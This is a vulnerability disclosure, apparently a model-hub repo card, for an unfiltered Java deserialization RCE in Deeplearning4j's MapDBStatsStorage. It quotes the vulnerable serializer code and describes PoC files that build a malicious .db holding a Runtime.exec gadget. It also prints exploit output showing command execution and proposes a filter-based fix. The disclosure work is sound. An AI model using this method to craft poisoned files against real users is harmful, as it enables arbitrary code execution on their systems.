YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
CWE-502 Unfiltered Java Deserialization RCE in DL4J MapDBStatsStorage via a malicious MapDB (.db) StatsStorage file
Target: Eclipse Deeplearning4j β deeplearning4j-ui-model
Artifact: org.deeplearning4j:deeplearning4j-ui-model:1.0.0-M2.1 (released to Maven Central, Aug 12 2022 β latest release)
Vulnerable classes: org.deeplearning4j.ui.model.storage.mapdb.MapDBStatsStorage$SessionTypeWorkerIdSerializer and $SessionTypeIdSerializer
Sink file: MapDBStatsStorage.java:266-270 (and 288-292)
Vulnerability class: CWE-502 Deserialization of Untrusted Data β Remote Code Execution
Trigger: Victim opens/reads an attacker-supplied MapDB .db StatsStorage file through the public DL4J UI API.
Summary
MapDBStatsStorage is DL4J's on-disk (MapDB-backed) implementation of the training-UI StatsStorage interface. Its constructor new MapDBStatsStorage(File) opens any attacker-supplied .db file, and it registers two custom MapDB key serializers for its on-disk HTreeMaps:
SessionTypeWorkerIdSerializerβ key serializer for the"staticInfo"HTreeMapSessionTypeIdSerializerβ key serializer for the"storageMetaData"HTreeMap
Both deserialize() methods perform:
ObjectInputStream in2 = new ObjectInputStream(new DataInput2.DataInputToStream(in));
return (SessionTypeWorkerId) in2.readObject();
with no ObjectInputFilter, no allow-list, and no class validation. The bytes fed to readObject() are the raw stored map-key bytes read straight out of the .db (MapDB) file. Because the (SessionTypeWorkerId) / (SessionTypeId) cast happens after readObject() returns, any Serializable gadget's readObject() executes before the cast is even attempted β so the ClassCastException is post-exploitation noise, not a defense.
Any public read accessor that iterates a map's keySet() forces MapDB to deserialize every stored key via the vulnerable serializer:
getAllStaticInfos, listTypeIDsForSession, listWorkerIDsForSession, listWorkerIDsForSessionAndType, and checkStorageEvents (called on every put*). Opening the file plus one ordinary read is enough to reach readObject() on attacker-controlled bytes.
Root cause (verbatim released source)
From deeplearning4j-ui-model-1.0.0-M2.1-sources.jar, MapDBStatsStorage.java:
//Simple serializer, based on MapDB's SerializerJava
private static class SessionTypeWorkerIdSerializer implements Serializer<SessionTypeWorkerId> {
@Override
public void serialize(@NonNull DataOutput2 out, @NonNull SessionTypeWorkerId value) throws IOException {
ObjectOutputStream out2 = new ObjectOutputStream(out);
out2.writeObject(value);
out2.flush();
}
@Override
public SessionTypeWorkerId deserialize(@NonNull DataInput2 in, int available) throws IOException {
try {
ObjectInputStream in2 = new ObjectInputStream(new DataInput2.DataInputToStream(in));
return (SessionTypeWorkerId) in2.readObject(); // <-- UNFILTERED readObject on file bytes
} catch (ClassNotFoundException e) {
throw new IOException(e);
}
}
...
}
SessionTypeIdSerializer.deserialize (lines 288-292) is identical with a (SessionTypeId) cast.
The constructor opens the untrusted file with the exact same MapDB options an attacker can replicate:
DBMaker.fileDB(f).closeOnJvmShutdown().transactionEnable().make();
Attack scenario
The DL4J training UI stores/loads stats from disk. A .db StatsStorage file is a natural artifact to share, host, or restore (bug reports, shared experiment runs, checkpoints). A victim who opens an attacker-supplied .db with new MapDBStatsStorage(file) and performs any normal read (or any put*, which internally calls checkStorageEvents) triggers deserialization of attacker-controlled key bytes β arbitrary code execution in the victim JVM.
Proof of Concept
All dependencies are real released Maven Central artifacts: deeplearning4j-ui-model:1.0.0-M2.1, deeplearning4j-core:1.0.0-M2.1, org.mapdb:mapdb:3.0.5 and its runtime deps (kotlin-runtime/kotlin-stdlib 1.0.7, eclipse-collections 7.1.2, guava 19.0, lz4 1.3.0, elsa 3.0.0-M5).
Evil.javaβ aSerializablegadget whosereadObject()runsRuntime.exec. Stand-in for any real gadget-chain (Commons-Collections, etc.); here it self-demonstrates execution timing (runs duringreadObject, before the cast).MakeMalicious.javaβ opens a MapDBfileDBwith the exactDBMakeroptions the victim constructor uses, and writes the"staticInfo"HTreeMapwith a key serializer that emits a serializedEvilgadget as the key bytes.Victim.javaβ public API only:new MapDBStatsStorage(new File("malicious.db"))thengetAllStaticInfos("s","t").MakeBenign.javaβ negative control: identical structure but a benignStringkey.
Malicious run (RCE)
$ java -cp <released jars> Victim verify_mal.db
[Victim] new MapDBStatsStorage(new File("verify_mal.db"))
[Victim] sessions=[]
[Victim] calling getAllStaticInfos("s","t") -> iterates staticInfo.keySet()
[Evil.readObject] EXECUTED -> `id; echo PWNED_MAPDB_VERIFY_1929118783` output:
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
PWNED_MAPDB_VERIFY_1929118783
Exception in thread "main" java.lang.ClassCastException: class Evil cannot be cast to class org.deeplearning4j.ui.model.storage.BaseCollectionStatsStorage$SessionTypeWorkerId
at org.deeplearning4j.ui.model.storage.mapdb.MapDBStatsStorage$SessionTypeWorkerIdSerializer.deserialize(MapDBStatsStorage.java:269)
at org.deeplearning4j.ui.model.storage.mapdb.MapDBStatsStorage$SessionTypeWorkerIdSerializer.deserialize(MapDBStatsStorage.java:257)
at org.mapdb.HTreeMap$leafValueExternalSerializer$1.deserialize(HTreeMap.kt:228)
at org.mapdb.HTreeMap$leafValueExternalSerializer$1.deserialize(HTreeMap.kt:214)
at org.mapdb.StoreDirectAbstract.deserialize(StoreDirectAbstract.kt:229)
at org.mapdb.StoreWAL.get(StoreWAL.kt:527)
at org.mapdb.HTreeMap.leafGet(HTreeMap.kt:1374)
at org.mapdb.HTreeMap$htreeIterator$1.moveToNextLeaf(HTreeMap.kt:1057)
at org.mapdb.HTreeMap$htreeIterator$1.<init>(HTreeMap.kt:1047)
at org.mapdb.HTreeMap.htreeIterator(HTreeMap.kt:1037)
at org.mapdb.HTreeMap$KeySet.iterator(HTreeMap.kt:973)
at org.deeplearning4j.ui.model.storage.BaseCollectionStatsStorage.getAllStaticInfos(BaseCollectionStatsStorage.java:155)
at Victim.main(Victim.java:13)
The id output and the unique marker PWNED_MAPDB_VERIFY_1929118783 are printed inside SessionTypeWorkerIdSerializer.deserialize (from readObject) before the post-execution ClassCastException. Command execution completed with no gadget class ever being successfully cast.
Negative control (benign String key)
$ java -cp <released jars> Victim verify_benign.db
[Victim] new MapDBStatsStorage(new File("verify_benign.db"))
[Victim] sessions=[]
[Victim] calling getAllStaticInfos("s","t") -> iterates staticInfo.keySet()
Exception in thread "main" java.lang.ClassCastException: class java.lang.String cannot be cast to class org.deeplearning4j.ui.model.storage.BaseCollectionStatsStorage$SessionTypeWorkerId
at org.deeplearning4j.ui.model.storage.mapdb.MapDBStatsStorage$SessionTypeWorkerIdSerializer.deserialize(MapDBStatsStorage.java:269)
at org.deeplearning4j.ui.model.storage.BaseCollectionStatsStorage.getAllStaticInfos(BaseCollectionStatsStorage.java:155)
at Victim.main(Victim.java:13)
No [Evil.readObject] EXECUTED, no id / marker output β only the identical post-deserialization ClassCastException. This proves the command execution is gadget-driven (the attacker's readObject), not an artifact of the harness or of the cast.
Impact
Remote code execution in the context of any application/user that opens an untrusted MapDBStatsStorage .db file and performs any read or write through the public API. No authentication or special configuration required; the default constructor path is vulnerable.
Suggested fix
Install a strict ObjectInputFilter (allow-list of only the expected SessionTypeWorkerId / SessionTypeId and their field types) on the ObjectInputStream in both deserialize() methods, or replace Java serialization of these keys with a fixed non-reflective wire format (e.g. explicit field read/write via DataInput2/DataOutput2), matching the guidance already applied to other DL4J deserialization sinks.
Deduplication note
- Distinct from the sibling
J7FileStatsStorageSQLite deserialization sink (different storage backend β SQLite vs MapDB, different class, different on-disk format; there thereadObjectlives in a direct BLOB read, here it lives inside a MapDBHTreeMapkey serializer). - Distinct from the DL4J
ModelSerializer, SameDiff, WordVector, and Arbiter deserialization findings (different classes, entry points, and file formats). - No CVE currently assigned to
MapDBStatsStorage. The class is present in the latest released jar (1.0.0-M2.1) β confirmed viaunzip -l:org/deeplearning4j/ui/model/storage/mapdb/MapDBStatsStorage$SessionTypeWorkerIdSerializer.classand$SessionTypeIdSerializer.class.
Reproduction files
Evil.java, MakeMalicious.java, MakeBenign.java, Victim.java are included in this repo. Compile against the released jars listed above and run MakeMalicious then Victim (malicious) and MakeBenign then Victim (negative control).